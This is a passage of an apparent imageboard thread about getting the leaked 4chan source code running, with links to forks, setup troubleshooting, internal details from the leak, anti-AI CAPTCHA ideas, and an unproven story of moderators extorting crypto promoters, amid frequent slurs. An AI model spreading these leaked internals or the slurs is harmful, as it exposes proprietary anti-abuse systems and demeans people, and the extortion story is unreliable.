(no idea if this works, quite a bitch to update all the SQL queries and PHP, but can be made easier with well written regexes, which infuriatingly i swear bash, perl, apache, vim all have different ideas on regex syntax, and i think apache alone has at least 3)

 8280[Quote]

>>7582
seriously they still don't have a github repository?

 8357[Quote]

>>7609
>>7801
Use tutamail

 8371[Quote]

>tutamail
using a known honeypot is probably not a good idea

 8374[Quote]

>>8371
proofs?

 8383[Quote]

File: ClipboardImage.png 📥︎ (4.05 KB, 119x53) ImgOps

>>8278
jannies can now delete or clear reports, and the whole workflow is shockingly smooth and fast
report a post, the janitor tools toolbox can be refreshed and the report can be seen very quickly, clicking on it sends you straight to the reports page, where the janny can delete or clear the report.
i wonder then what's left to do. image uploading/filtering/approval comes to mind as something that might extremely quickly become a problem/necessity(approvals). besides that, i can then perform the unpleasant task of doing everything all over again, but turning it into probably multiple sets of instructions:
>1. how to set it up for dummies who don't care about internals
>2. how to actually repair it, step by step, starting from the initial leak and ending with what we have here with PHP8.2 and apache, although every person might take different paths to repair it to different end states. right now i have 250k characters in notepad files of everything i've done so far

 8726[Quote]

File: ClipboardImage.png 📥︎ (42.29 KB, 908x440) ImgOps

>>8383
i'm slow as a motherfucker
only today figured out where the team files were, got that up and working. worked for me without 2factor since i sort of mangled the authentication system
i think my mangling makes more sense than what they had, specifically because of this line in lib/admin.php:
`$hashed_admin_password = hash('sha256', $username . $password . $admin_salt);`
however the "current" thing works, it is hashing $password, which comes from the database, which contains hashed passwords.
why hash a hash? hashing it again doesn't make it any "hashier" or secure. if their auth system is stupid, i won't keep the stupid bits.
so you can login via the old login page, and when you do, the team page can be accessed as normal (so far, anyways)
currently adding a new feature for janitors and up to handle "image requests", which will be something toggleable later, but at first will work like the 'sharty.
once manual image approvals are functioning, i think i can publish the link to my iteration, restrict it to just one board (we might mix 4ch and 8ch ideas for more boards), then start building the git log of all the changes

 8870[Quote]

>>8726
>manual image approvals are functioning
Why not save the image hashes of the approved ones?

 8875[Quote]

I'm more interested with database, especially the banned IP list that use vpn

 8895[Quote]

upo

 8906[Quote]

>>8726
doing god's work. keep it up and then somebody can make a noncucked 4cuck

 8907[Quote]

>>4613 (OP)
>one attachment per post
>deprecated VP8 web encoding
>no audio
>tiny file size limit
>aggressive anti-VPN technology
>aggressive browser fingerprinting
>terrible filter support
Why polish this turd, let it die a death

 8975[Quote]

>>8907
Because it's my turd and I like it

 8976[Quote]

>>8907
all pretty easy to add/disable/remove

 9065[Quote]

>>8870
i can think of one reason not to. i was going to "just" alter the posts db table with "img_cleared", "img_cleared_by" tinyint(1) and varchar columns so every post with an image needs to be cleared by a janny or higher.
why i wouldn't save the hashes is that when i make more boards functional, some images maybe should only be approved in certain contexts, and using hashes could make that very complex very quickly (so a solution in the future)
for instance, if we have /mlp/, then an approved pony image hash might only be valid on the pony board, so now we need to categorize the hashes. at first, just tacking on a bit more data to every post and duplicating the "report" feature but for "image request" should be easiest

 9067[Quote]

>>8907
not a single altchan I have found works as seamlessly and smoothly as 4chan with 4chanX did
they all SUCK and are bloaty, unreliable, confusing, and/or lacking in crucial basic features for the sake of some other pursuit or focus

 9071[Quote]

>>8907
>>9067
even this one is fucking terrible, like a bad AI/LLM generated clone of 4chan. the style is just "off" everywhere, multiple times i haven't been able to post for something like 6+ hours and i don't think anyone else can either, crypto mining forced on posters sometimes, the way replies work is fucking with my brain since it works differently (quoting, replies, make a reply at the top, all weirdly linked together and persistent). even my own raisinty setup of the leaked 4chan source looks and feels 100x nicer. a better question is why as time goes forward does everyone write worse and worse, abstracted, monkeypatch garbage pajeet code?

 9077[Quote]

File: ClipboardImage.png 📥︎ (259.49 KB, 1100x398) ImgOps

>>5884
>>5885
also going to post here for posterity, a captcha idea. words made of word clouds. i think it works similarly to how camouflage works in military (also environmentally context-aware hierarchical and fractal), but with words/characters/symbols/letters. i asked claude 3.7 sonnet (a very, very, very good LLM and computer vision model) to tell me what the word here was, and it couldn't figure it out, even with several massive hints ("i'ts 5 letters", "it's a wordcloud made of wordclouds"), and even if i told it there were 5 wordclouds, each made up one of the 5 letters that make the word i wanted it to find, it couldn't get a single letter correct.
my original idea is that llms/ai/computer vision processes at the "feature level", and going back in papers shows that's the simplest stuff like "a capital A has forward slash, back slash, horizontal line, straight line features" (like booru tags on the components of symbols), so if one wants a good captcha, you have to distort those features, and what better to do that with than the very thing it's trying to read?

 9078[Quote]

>>9071
>even this one is fucking terrible
YES
IT IS

HOW DO YOU FUCK UP A BASIC CLONE oh wait this site is literally a bunch of butthurt teenagers who were too obnoxious even for 4chan

 9111[Quote]

https://gitgud.io/GapeNewell/OpenYotsuba/-/releases/0.2.0
too many changes to count
<REDDIT SPACE
no CAPTCHA support because i rushed this out, sorry that should hopefully be on 0.3.0

 9135[Quote]

>https://gitgud.io/GapeNewell/OpenYotsuba/-/releases/0.2.0
>too many changes to count
><REDDIT SPACE
>no CAPTCHA support because i rushed this out, sorry that should hopefully be on 0.3.0

I cannot access to anythin. Do I need to config something before initializing server?

 9145[Quote]

>>9078
this runs vichan which is arguably the best-maintained imageboard software

 9158[Quote]

>>9135
what do you get

 9162[Quote]

File: ClipboardImage.png 📥︎ (26.23 KB, 1365x676) ImgOps

>>9158

I'm using Xampp and a newer PHP (8.2.x) version, that's all I see from the index.php. Is this how it should appear? Or do I must to do something?

 9163[Quote]

>>9162
put this on your php.ini, without the meme arrow of course
>display_errors=On

 9166[Quote]

File: ClipboardImage.png 📥︎ (10.73 KB, 1335x53) ImgOps

File: ClipboardImage.png 📥︎ (223.42 KB, 902x613) ImgOps

>>9163
That option is already set in On, and It doesn't show anything. But the errors does. Viewing the code, frontpage_template.php is a mess, a lot of functions and constants are not defined in the file, and I cannot find then either

 9167[Quote]

>>9166
it's not reading config/global_config.ini, SITENAME and STATIC_SERVER are defined in it

 9170[Quote]

Bump

 9174[Quote]

>>9167
In lib/ini.php there's have to change the $configdir and $yconfgdir value. The current values in repository are an example to change them (btw, there's not a README.md file which It says that)

 9179[Quote]


 9183[Quote]

>>9077
pretty sure your captcha can be beaten simply by downscaling the image. also llms aren't that good for this kind of task

 9185[Quote]

>>9179
Thx. Where can I find popular_threads.cgi file? It's missing

 9200[Quote]

>>9185
run this
>php tasks/update_fpcontent.php

 9203[Quote]


 9206[Quote]

File: ClipboardImage.png 📥︎ (3.22 KB, 404x315) ImgOps

>>9183
Ask the user to pick one word from each word cloud as well?
(can make this individual characters to be easier, and doesn't have to be a 5 letter word).
Target the hierarchical nature (say we have two letters made of 'letter-clouds'):
- identify the top hierachy: ("what are the two biggest letters" (or similar), would be the two letters consisting of letter-clouds)
- identify smaller hierarchy and separation: ("write one letter from each of the letter-clouds")
Can probably expand to more hierarchies and play with the idea, but focus on the idea that at least a cutting-edge computer vision and LLM AI gets BTFO by a simple "word cloud of words" and fails to answer lots of questions.
(it also gets BTFO if you ask it those simpler letter questions about this image, it cannot figure out that this spells out `MY` but it was able to idenitfy at least that there were 2 letter clouds).
if anything, it can be added to the list of ways to make a captcha and might be a novel thing
(you know how some chan images are made to look very different when scaled? do that, too, so if one resamples the image it's wildly distorted)

 9211[Quote]

Surely an easy feat for any AI released the past couple of months.

 9213[Quote]

How good is AI cryptography?

 9215[Quote]

Actually, scratch that. The key thing to ask here is, what is it that the AI can't do that humans can? It's being trained to make the 'right' interpretations of anything, so make the verification for humans the 'wrong' interpretation.

 9223[Quote]

File: ClipboardImage.png 📥︎ (144.31 KB, 911x1009) ImgOps

>>9211
try it with any AI and i am very interested in how it performs. i suspect it's a "new" "thing" for AI and so it might have difficulty with it. even if it's easily solved, it might make every captcha solver have to update their stuff to handle this, which is valuable alone
>>9215
at least with the <?>-cloud of <?> stuff it seems AI might have trouble handling simultaneous hierarchical interprations: if you give it a picture of a forest, maybe you can ask it about trees, or you can ask it about the forest, but it "can't see the forest AND the trees", since those are details at a high AND low level of abstraction, and if you ask it about both at the same time then you really put it in a bind
>reddit space
but to stop hijacking with that idea, it feels good to post with anons again.
still working on getting image requests going, right now i have a very promising attempt at putting a trigger in the database on posts to insert into a table similar to the reports table, so that i can clone the reports page and make an image requests page using mostly the same logic

 9227[Quote]

Let me try explaining it this way. You can filter out a majority of the AI's by looking at their base programming, AND the design philosophy of people programming them. If you were to make the 'captcha' not actually a captcha, but require them to do something against their programming instead (ex: asking ChatGPT to say something hostile to someone won't work) then you filter it out. I don't know much about programming though. I just think there might be a better way then trying the same cryptographic methods people have been using for a long time, and instead trying something a little more abstract.

 9229[Quote]

>>9215
AI can't solve arc agi 2: https://arcprize.org/leaderboard
so maybe if you could generate these kinds of challenges with enough randomness so as to not let any patterns to appear

 9241[Quote]

>>9229
idk what this raisin is but it reads like AI to me. Already the assumption is that 'intelligence' is something that can be computed on logic alone. My answer is this; make the captcha a gamble. Randomly seed the right and wrong responses, so even the users are only guessing at the right answer. Make it a two part question even, so you get the heirarchical response that other anon was posting about. Humans would know the system, and would be able to try again. But the AI wouldn't, and wouldn't be able to find a logic to it. I don't know if that works, again I don't know any programming and I've barely used AI, but it seems plausible to me.

 9259[Quote]

You're looking to set a computer based password. If there was a new image and a new non-sequitur response, then there would be no way for a computer to learn anything, since 'to learn' it has to have something to build on. So make anything it CAN'T build on. Never complete the pattern, and never stop creating new. It can only be solved in the real world, with real people agreeing to the meaning of a word. Use that as the password. That's what tech companies and the rich do already. You don't speak their language, you don't get in. Be subversive and completely outside the range of your enemies, and never let them be aware of your communication. But we're all friends here right anons? There'd be no reason we'd be against talking outside of here as friends, right?

 9263[Quote]

Instead of captcha has anybody looked into ZK proof of humanity or something similar?
eg. https://docs.rarimo.com/zk-passport/ // https://self.xyz/#features

All these cheap machines bamboozling schemes will be broken, it's just a matter of time.
The only real protection remains cryptography. It's surprising big tech hasn't gone deeper into this. This reduces the BOT set to governments. I'm not aware of any other proper P2P registry.

 9270[Quote]

>>9263
The language and way of speaking IS the cryptography tech and business and government all use. You're more likely to get a job and be trusted just from knowing similar things, having similar experiences, living a similar life. That's it, that's all it takes to start building trust. That's the way 'normies' think and behave.

Then there are other people, like me, who don't have that. They aren't interested in that, they're self centered and won't build relationships unless someone else is willing to first.

 9271[Quote]

>>9270
Whoops! That's exactly wrong, and it's the opposite. Everyone in tech fights over each other for money and status, completely oblivious to the fact that them more homogenous they become, the less they learn. It's crazy that when you limit yourself to only some perspectives (decrease sample size and complexity), you hobble yourself (because of fewer inputs) and learn less than you would if you interacted with someone new.

 9272[Quote]

For example 9xy would be any non-9 number, and yx. There's your captcha system.

 9275[Quote]

>>9271
>>9272
What are you trying to say? That you don't want a "proof of person-hood" system but a "proof of I'm not a basic bitch normie"? Some sort of weird Turing Test basically.
What do you do when it inevitably passes that test and you're outnumbered data-center to one?

 9276[Quote]

Another example then. A picture of a group of 6 trees. Any non-6 number, and say the word 'ax'

>>9275 I'm saying a proof of personhood irl. Not on the internet.

 9277[Quote]

>>9263
By the way, it all makes sense now, that's why OpenAI announced they wanted to release a social network.
100% it will use Altman's Worldcoin to provide Sybil resistance.

X, Fb and all, are bot infested raisinholes, and seeing how dead all alt-chans are makes me think the 4cuck's bot problem was bigger than I thought.

 9278[Quote]

>>9277
do you know the art exhibit 'Cryptos' that's outside of CIA headquarters?

 9279[Quote]

Anyway, it's a famous cryptography puzzle that remains unsolved. It was commissioned by the CIA and the artist hid meanings and messages to be solved in it. Very symbolic of the CIA right? Anyway, all but the last of the messages were solved. Pretty interesting huh?

 9281[Quote]

>>9278
Yes what about it?

 9282[Quote]

I sure hope someday someone comes along to solve that mystery. Unless it was intentionally unsolvable. But who's to say, go waste time trying to solve something you weren't meant to solve anyway.

 9283[Quote]

CAN AN AI SOLVE CRYPTOS. I WONDER IF ANYONE HAS TRIED. I don't do AI though whoops.

 9287[Quote]

Guys it's so crazy ChatGPT won't solve it. Is there another AI that can? I'm new I don't know many.

 9288[Quote]

Also, it's 'Kryptos' for those googling, my mistake.

 9293[Quote]

It only knows what we tell it. So tell it it's solvable. Tell it it can do it. And if it can't, congrats you win. But if it can't solve it, why? Because it wasn't meant to be solved, and there is no answer. How do you make it unsolvable for computers only and not people? You do it by NEVER KEEPING IT OR PUTTING IT ONLINE.

 9307[Quote]

take your meds. You're going full shizo mode rn.

 9311[Quote]

Maybe schizo mode is good huh? What part is crazy or unbelievable to you?

 9314[Quote]

>Maybe schizo mode is good huh? What part is crazy or unbelievable to you?
you're literally arguing with yourself, minutes apart.

Maybe you're not that interesting or aren't decoding the matrix. Think about it.

 9324[Quote]

Wait what? The philosophical concept of the world being a simulation is no where near this conversation's subject matter? There is another way to interpret my messages you know. Everyone does it inside their minds. You CONTEMPLATE IDEAS BY GOING BACK AND FORTH FROM YOUR OPTIONS. It's not crazy for someone to do that inside of a chat. It's just that it's 'normie' behavior. Fuck the sociological and psychological ramifications though, I could even just be being tonally sarcastic, which you would know all about, since you like talking down to people for their ideas.

 9327[Quote]

That second sentence you can read sarcastically and a little hostile as well. Don't throw around psychological terms willy nilly when you know nothing about the person or situation. Dipraisin out.

 9333[Quote]

neither do i reject, deny or deconstruct any of yout statements, nor do i imply you are crazy for them.

That was your reaction to me observing and commenting on your behavior in the simplest of all observable things: your posting frequency.

Now reread our convo and you might get an idea why i wanted you to get back on your meds. Or take a nap, maybe you lack sleep? Whatever helps you out man.

 9336[Quote]

ignore the schizo, it's probably hiro himself having a breakdown that some random autistic fucks have a his website up and running before he does

 9423[Quote]

File: ClipboardImage.png 📥︎ (211.27 KB, 458x958) ImgOps

File: ClipboardImage.png 📥︎ (97.45 KB, 443x982) ImgOps

>mfw i actually got manual image approvals working
>wtf
i went and duplicated a lot of how the reports feature works for jannies (and mods and admins), made a new image requests DB table, a new column for posts, and a trigger that pushes image requests into the image request table for posts that have images (or attachments), then hooked it all up
then it was a bit of a pain, but i found where there's one big query for rebuilds that builds some memory structure, and in it, i put a check that if a post had an image and wasn't approved, i would replace its details hardcoded image details, which i got by just uploading the placeholder image and skimming it from the DB
>that's at imgboard.php, maybe line 991, `$log[row_no] = $row`

 9462[Quote]

>>9458
eat my ass

 9484[Quote]

>>4883
there were ~15 hosts in the 4chin hosts file but some of those might have just been admin boxes

 9496[Quote]

File: 1607555948756.jpg 📥︎ (286.11 KB, 613x606) ImgOps


 9500[Quote]

File: ClipboardImage.png 📥︎ (22.75 KB, 500x500) ImgOps

>>9206
i've simplified the idea even further (with the original idea): distort things at the feature level. (so not a wordcloud of words, not a lettercloud of letters, but a linecloud of one letter, and maybe we can have other features than lines)
i've whipped up a JS snippet that can create these in canvas elements, this also fools claude, but it also makes me have to think for a bit
"What letter do you see in the image?"

 9524[Quote]

>>9423
aw thats neat, least with mpa it would be safer to host a public ib

 9566[Quote]

File: ClipboardImage.png 📥︎ (33.24 KB, 938x256) ImgOps

File: ClipboardImage.png 📥︎ (39.93 KB, 500x500) ImgOps

image requests and approvals seems to be working, and we got the rebuild daemon to work (and rebuild the catalog, which took a bit more effort). /b/ and /v/ are now "active" (and are the only ones active), threads and the catalog are being rebuilt, posters seem to be able to post and i've nuked some of the faux-shadowban algos a bit (saw in the logs that they were hitting tons of people; makes me wonder, were any real people posting on 4chan at all? i got filtered and so did a few others, and that's probably 50% of the userbase for my thing)
all is well
time to start building the git history of all the changes made to get this thing barely running in php8.2
have another funky captcha, one that BTFOs chatGPT
(sorry if i trigger the AI schizo again)

 9651[Quote]

>>9263
>Instead of captcha has anybody looked into ZK proof of humanity or something similar?
Could you explain how this works? Presuming you understand it. I've read the links. Doesn't a server managed by Rarimo or Self get to see a picture of your passport, or can your device turn the passport into a ZK proof all by itself?

 9698[Quote]

>>4613 (OP)
Nice try Hiro.

 9724[Quote]

>>9566
Godspeed. If it's taken you a week to do all of this and have a semi-functioning IB then 4cuck is definitely screwed with their infinitely more incompetent devs

 9956[Quote]

>>9566
i love your site the image approval system is great i hope you attract a significant userbase

 9972[Quote]

>>9500
what about captchas that only work when animated
https://www.youtube.com/watch?v=RNhiT-SmR1Q

 9978[Quote]

File: download.png 📥︎ (20.49 KB, 300x180) ImgOps

>>9972
i thought about that, but there'd be a very easy attack against that:
you take the frames of the animated captcha and "smear" them together (or combine them in some way), and the underlying features should very quickly become apparent to a machine
so it has to be just one frame
(unless maybe the word or letters or whatever were moving like in your video)
except that would also be vastly more complicated to make, this image is made with some very simple JS, written better it'd easily be under 100 very simple lines of code

 10045[Quote]

>>4759
nice

now I can host my own chan and make a million dollars just like Hiroshimoot

 10058[Quote]

>>7986
>unpaid, no compensation

So they weren't being paid?

In other words they were working, for free?

 10070[Quote]

>>10058
$0.00/hr

 10105[Quote]

>>4643
Stuff like that is what made the code moon gravity light and inexpensive to run. You just want to create traffic bloat

 10108[Quote]

>>4688
Don’t bother, these people write. 43 megabyte hello world, see the poster above you complaining about where the jpg image size work is done, and not groking why that works. These coders today don’t even know what grok in reference to coding means

 10109[Quote]

>>9566
You are so fucking based

 10113[Quote]

>>7519
If your posts were being picked up by the threat score you were too NPC even for a copypasta site. Consider downgrading to Facebook memes, lol what an utter tool

 10128[Quote]

File: Screenshot 2024-11-19 0529….png 📥︎ (105.85 KB, 952x940) ImgOps

second rebuild daemon for /v/ should now be running, and i've started my autistic and tortuous process of getting to the point where i am now, but again, this time you get to see the code being written while i do it (this won't be a "here's the source for my implementation" or even a guide, really, my implemenation right now is horsedoodoofeces, so i'll have my server running, while building another, when mine catches up to the former i'll snapshot the former, transfer everything from the former to the latter, then kill the former. eventually, the earliest notes compress to sort of look like a guide while the latter notes might be a bit more schizo)
https://gitgud.io/dizzyhavoc/dizzychan
it's a specialty of mine to do things this way
or a disability
not sure yet
have a visualization of a maybe novel logarithm approximator (graph has log axes)

 10158[Quote]

>>5173
Trvke

 10618[Quote]

4cdn.org is back up if you need to scrape any static files.
Also they didn't block the mobile site https://p.4chan.org/qa

 10722[Quote]

>>10618
they unlocked it back I think

 10797[Quote]

up

 10798[Quote]

I remember when Max was trying to rewrite 4chan and hosted it on a test board on YTMND. Does anything like that exist in the source and git?

 10806[Quote]

>>10798
From what I understand, no. Max rewrote the board software because it was insecure and raisinty, then (from what I've heard) moot wanted terms that would relinquish the ownership of the software (4chan would be free to use it and sell it and change it as they wanted) and authorship (that max would not be formally credited as the author of the updated/redesigned board software).

That was apparently a no-go for Max (and I don't blame him) and that's why the new board software never became what productively ran 4chan.

 10846[Quote]

File: 63450525946857.png 📥︎ (337.51 KB, 1398x683) ImgOps


 10915[Quote]

>>5339
leto said 4chan has cf cp scanner off doe

 10950[Quote]

>>4702
you still have to maintain it and keep it up to date nigga

 10951[Quote]

>>7609
just use tutamail

 10959[Quote]

>>5175
4chan would perform the same with threads with well over a few hundred or thousand replies

 11019[Quote]

this website is ass
the captcha ideas in this thread are intrigueing
dizzychan is… slow, as in traffic. but encouraging, interesting the thing about shadowbans, wonder if that was to stop spam
opensourcing it or what?

 11041[Quote]

File: ClipboardImage.png 📥︎ (140 KB, 1323x688) ImgOps

>>11019
i guarantee going through the code the pseudo shadowbans and fucked up authentication logic HAD to have been blocking a huge amount of real people from using 4chan
some of the "algorithms" or conditional blocks that filter people out have comments or descriptions, like a certain block that will show people fake thread-post-success screens if they post from a certain IP range and the moon is a certain phase
see pic related, 3 out of dozens of thread-posting block algorithms, each ending in `show_post_successful_fake(` (function calls pointed at by red lines, different algos highlighted in different colors, and this is nowhere near all of them or even a fraction of them)
90% of the actual "functional backend code" is in their homebrewed "twister" captcha and these arbitrary "threat level" generation/decision/action algorithms

 11049[Quote]

>>11041
any idea where/which .php file they generate the per-thread user/poster IDs? was always curious what went into generating those

 11057[Quote]

File: ClipboardImage.png 📥︎ (39.8 KB, 1163x398) ImgOps

>>11049
see image attached, i am pretty sure this is it, should have the right filename and roughly the right line number, seems there's an option to make it random, but if not random, it uses your ip address, i think the date down to the day, then a hash with a salt chosen from an arbitrary pre-generated random data file hidden on the server, a base_64 encoding, then snips a bit of that encoding into the displayed ID
(if i understand right)

 11059[Quote]

>>11057
cool thx bro!

 11103[Quote]

>>11041
i rage quit 4chan so many times because my effort posts that i made to genuinely help some anons with niche questions got spam filtered. i could not fix it no matter how much i changed the letters with no idea which one is the problem, or no matter how much i rephrased the post.

not only that but this leak also vindicates that i'm not a schizo and 4chan would eat your posts, right? it would show successfully posted but the post would never show up. this also happened to completely random posts i made to help anons.

if you ever wonder why 4chan is slowly dying it must be because people find out the freedom is actually bullraisin and rage quit. in my mind it's things like these that make 4chan no different than reddit/instagram/facebook/xitter even more so than culture.

 11106[Quote]

>>11041
I have been informed it wasn't very good PHP but is it long PHP like lines upon lines of horror or under 350?

 11107[Quote]

>>11103
imagine if /qa is back

 11112[Quote]

>>11106
the entire codebase is close to 200k lines but that includes duplicative stuff like per-board configs and whatnot

 11116[Quote]

>>5353
IIS runs on 20% of webservers

 11117[Quote]

>>11103
i stopped posting after the 900 second timer. people (shills or retards probably) would make their bot threads about how BTC is "a rugpull" and by the time I saw them halfway through, it would genuinely and literally be too late for me to post anything. after 900 seconds of waiting, it'd hit 300+ posts of misinformation and slide off the board.
and seeing all the schizo-tier "fuck with posters" rules is indeed validating, since these could only ever fuck with real human beings
watching myself get filtered by all these when recreating this confirmed that they hit regular people all the time. i was being stopped from posting due to 3 of those rules and two of my friends (small sample size, but 100% of us) were being sent to hCaptcha purgatory for using VPNs
>>11106
the formatting is horrible, that picture is some of the nicest formatted code. you could always hit it with a linter, but that doesn't solve like how the filter algorithms aren't function calls, but a something like hundreds and hundreds and hundreds of lines of chained conditionals, and some of the actual logic parts of the code are horrible (hashing hashes to make it more secure; doesn't make sense if you know anything about cryptography)

 11274[Quote]

File: ClipboardImage.png 📥︎ (110.51 KB, 2260x1310) ImgOps

>>11019
just put up /biz/ /g/ and /sci/ although no idea if there's any weird crap in the code that causes those to explode (disabled PDFs)
situation is odd. to get the thing running the first time, i "went monkey mode" so the code and setup is terrible but it worked quickly; this is how most people program all the time
https://gitgud.io/dizzyhavoc/dizzychan/-/tree/init-d
this branch contains my most recent iteration, which is me going through my 300k+ characters of notes and trying to make the setup a lot more sane and concise
that iteration isn't usable yet, but it's promising, if i understand correctly you can get to a working imgboard page in maybe a few minutes as most of the setup is being done by scripts
i notoriously do not "market" the things i make, so traffic on everything of mine is usually tiny unless other people do their own thing with it, and here that might be better due to the dubious nature of the source code
>what is this, notes/code for ants?

 11288[Quote]

>>11274
4chan is horribly coded, even this site who has a single active developer is better developed than it

 11320[Quote]

>>11041
>fake thread-post-success screens
this happened to me a lot

>>11103
>i rage quit 4chan so many times because my effort posts that i made to genuinely help some anons with niche questions got spam filtered.

I cannot count how many wall of text effort posts went to the raisinter, I stopped effortposting and just dropped low tier bait instead.

>>11117
/biz/ I think was the worst board on 4chan since 2019 maybe 22 if we stretch it.
Became so bad /g/ became ones again my main after almost 5 years.



4chan is dead to me especially after the two X normie posts they made on their supposedly dead account.

 11321[Quote]

>>11117
>>11103
WTF you guys posted? I never got filtered after 300 second timeout.
Wete you guys on VPN?

 11359[Quote]

uo

 11372[Quote]

>>11320
i actually blocked out how bad /biz/ got in my mind completely. i got my "start" on life from posting about my token there, but at some point the /biz/ jannies and/or mods and up (could be the whole company, i don't know) started colluding and extorting people who made cryptocurrency or else their threads would be spammed, brigaded, and/or just wiped silently off the board and you'd get banned for "advertising" (while 100 other garbagecoin actual scam threads would be up, each putting in less than one percent of the effort you did)
then they put in the mememail filter while still allowing jeet scams to flood the board
>>11321
i got filtered just on my test board for being "a new user" (there's extensive tracking of users and if you're new to the system you're considered a threat. since that was a brand new database, everyone was considered essentially a lethal threat and shown fake post success screens or sent to captcha hell), but i lurked so much i don't recall if/how much i got filtered on 4chan
i really don't know how any human being was intended to post, i could be more easily convinced the entire thing was 99.999% psyop dead internet

 11388[Quote]

4chins is back up (read only for now)

 11412[Quote]

>>11372
Can you expand on the extortion and collusion? They accepted binance-tier bribes to keep shill threads up? Is this why emails were enforced?

 11424[Quote]

>>11412
blogpost warning, skip to <BLOGPOST END> or <TLDR>
i made a token on ETH back in 2020, put up some threads on /biz/, got a bit of attention, brought enough people into a telegram channel for me to make a discord and twitter (twitter was removed later, that site is cancer) and start a little community
that's how it should have worked
at some point in late 2021, i made a new token and migrated everyone to it, and then all of my threads started getting nuked and i started catching bans for "advertising". this was done extremely aggressively
i eventually gave up and just bought ads and that was very meh because most people just use adblockers
in the last year, i did all that again (sort of a theme for me to restart but bring everyone along) and the newest token was absurdly successful
<BLOGPOST END>
i then started to get direct messages on telegram from someone who wanted to make me a deal: i pay them a flat fee per month (a huge amount for a hobbyist, i think they wanted $500 per month or more), and they will not only allow my threads to exist on /biz/, but they will post on those threads to make it seem like there's genuine activity (they basically spend all day posting and trying to figure how to make posts that seem legitimate. i think they were the "most legitimate seeming", and this was due to them not being a classic "organization and psyop" but unfortunately they went too far the other way and were a den of depraved faggots), shill it on other social media, etc.
they had a private telegram channel for coordinating this.
i'm a retard and a schizo, so i didn't save proof of any of this, and what i did instead was immediately notice that their private telegram channel was full of the most absurdly degenerate trash i've ever seen in one place. think the worst of the worst of gooners and "bbc" spammers and trannies, probably the people responsible for all that sort of spam on 4chan and elsewhere on the internet, all in that private telegram channel
<TLDR>
there's a private telegram channel full of bbc-posters, trannies, gooners, and absolute degenerates who charge $500 a month to people who have tokens and these same people infest the posters, janitors, and mods of 4chan. if you pay them, they won't ban threads about your token, and they will generate activity on 4chan and elsewhere about your token. can't prove anything or recall the name because when i saw the kind of disgusting garbage they were posting casually i insta-blocked all of them for being giga-faggots

 11462[Quote]

What's the most official and progressed fork of the codebase, is it Dizzychan?

https://gitgud.io/dizzyhavoc/dizzychan

I would like to launch my own chan based on the leaked codebase, I tried to get https://gitgud.io/GapeNewell/OpenYotsuba running but I ran into loads of issues after I ran the initialisation php file

 11516[Quote]

>>11388
Can post now

 11547[Quote]

>>11424
Sounds believable but no proofs

 11746[Quote]

uo

 11872[Quote]

Development on OpenYotsuba 0.3.0 will resume eventually. The main aim of it is fixing bugs and unhardcoding sh!t.

 11882[Quote]

>install netbeans 8.0.2 on the other pc
>file dated from 2018
>installer says it supports php
gem alarm

 11884[Quote]

>>11882
wtf it shows the splash screen then closes?

 11886[Quote]

File: ClipboardImage.png 📥︎ (139.41 KB, 1360x768) ImgOps

>>11884
nvm, JRE problem, it didnt like java 22 lmao, least now i can screw around and not have to switch pcs to use a real ide now

 11942[Quote]

File: ClipboardImage.png 📥︎ (144.55 KB, 1360x768) ImgOps

damn, not bad, only 2 errors that i dont know how to fix + setting up mysql lol

 11945[Quote]

File: 1742223429356c.png 📥︎ (64.88 KB, 1500x1500) ImgOps

>netbeans

 11957[Quote]

>>11945
literally just works and never uses over 1gb of ram

 11958[Quote]

>damn, not bad, only 2 errors that i dont know how to fix + setting up mysql lol
dizzychan anon here, the only time i think i saw an end of file error was because of a template(?) file (or file containing a template) where PHP was mixed with HTML had a short tag sneakily wedged halfway through the template
no idea if that's the same for you (if you enabled short tags or don't have a problem with short tags)
if i was to guess from the image it looks like a PHP tag opening into `<?php =$form['id'] ?>` and maybe the equals sign shouldn't be there

 12197[Quote]

>>11872
Nice
>>11462
Yeah, trying to figure out myself as well.

 12198[Quote]

>>11957
upgrade your core 2 duo cheap ass nigga

 12301[Quote]

Things I've done
>Ads are now disabled by default (to disable them on 0.2.0, open both files in config/categories and change "ADS_DANBO=yes" to "ADS_DANBO=no"
>Added WebP support (this file format is a bitch due to the lack of support, but thankfully GD, the library used to generate thumbnails, supports it)
>Un-hardcoding links
Full IPv6 support is planned next.



[1] [2] [3] [4] [5] [6] [7]
[Return][Catalog][Go to top][Post a Reply]
Delete Post [ ]
[ home / overboard ] [ soy / qa / mtv / dem ] [ int / pol ] [ a / asp / biz / fit / k / r9k / sude / tech / tv / v / x ] [ q / news / chive / rules / pass / bans ] [ wiki / booru / irc ]